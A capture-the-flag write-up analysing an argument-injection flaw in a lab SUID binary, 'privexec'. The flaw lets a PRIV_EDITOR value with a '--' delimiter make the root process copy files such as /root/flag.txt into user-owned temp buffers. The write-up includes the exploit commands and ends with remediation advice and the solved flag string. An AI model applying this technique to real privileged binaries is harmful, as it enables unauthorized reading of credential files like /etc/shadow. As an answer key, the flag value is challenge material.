1. Executive Summary

The privexec SUID binary contains a logic flaw in how it parses environment variables for editor selection. While it attempts to implement security through privilege dropping, a vulnerability in argument handling allows the root-privileged process to be tricked into copying unauthorized files into user-controlled temporary buffers.

Threat Impact: This flaw facilitates Arbitrary File Read with root privileges, leading to full information disclosure of sensitive system files (e.g., /etc/shadow, /root/flag.txt).


2. Reconnaissance & Discovery

Attack Surface & Preconditions

  • Local Access: Required to execute the binary.

  • Authorization: Attack requires a valid entry in /challenge/privexec.conf.

  • Binary Status:

1    ls -l /challenge/bin/privexec
2    # -rwsr-xr-x 1 root root ... # SUID bit is set

3. Vulnerability Analysis

Code Audit (source_code/src/editor.c)

The vulnerability stems from the get_editor() function and subsequent parsing logic.

The Trigger:

The program fetches the editor command from an attacker-controlled environment variable:

1static char* get_editor(void) {
2    char *editor = getenv("PRIV_EDITOR"); // Attacker controlled
3    if (!editor || strlen(editor) == 0) editor = "vi";
4    return editor;
5}

The Logic Flaw:

The edit_file function parses PRIV_EDITOR for a -- delimiter. If present, it treats any following tokens as additional files to be processed by the root-privileged parent:

1if (dash_index != -1) {
2    for (int i = dash_index + 1; i < editor_argc && editor_argv[i]; i++) {
3        // Root process adds these to its internal 'files_to_edit' list
4        files_to_edit[num_files] = strdup(editor_argv[i]); 
5        num_files++;
6    }
7}

The Vulnerable Workflow:

  1. Root Context: The parent opens the target file (e.g., /root/flag.txt).

  2. Data Leak: It copies the content to a temp file in /tmp/.

  3. Ownership Handover: It calls fchown(), transferring ownership to the low-privileged user.

  4. Privilege Drop: Finally, it drops privileges and executes the editor.


4. Exploitation Path

Step-by-Step Execution:

  1. Craft the Payload:

    We inject the target path after the -- delimiter to bypass intended logic.

    1export PRIV_EDITOR="vim -- /root/flag.txt"
    
  2. Trigger the Binary:

    1/challenge/bin/privexec -e /tmp/test.test
    
  3. Retrieve Information:

    Vim opens with two buffers. Use :n to switch to the buffer containing the flag.


5. Advanced Notes & Potential Vectors

  • Symlink Abuse: If the temporary file generation isn’t using O_EXCL or mkstemp() properly, a secondary attack vector could involve symlink racing to overwrite critical system files.

  • Race Conditions: There is a potential TOCTOU (Time-of-Check Time-of-Use) window between the root-level copy and the fchown operation.


6. Remediation

  • Environment Scrubbing: Use secure_getenv() or a hardcoded whitelist of editors.

  • Argument Sanitization: Disallow the -- delimiter or any tokens starting with / in the PRIV_EDITOR variable.

  • Late Opening: Ensure that file descriptors for the target files are opened only after setuid(original_uid) has been called.


Final Flag

Flag{QCFATEtqQ0xCSHZCdndvWE1zUjFMbUtOZjRHWHk1bDhxYTJyQ0dDbDkyYVFvQT1kYjgzM2Y3ZjNiYmJiOWU1}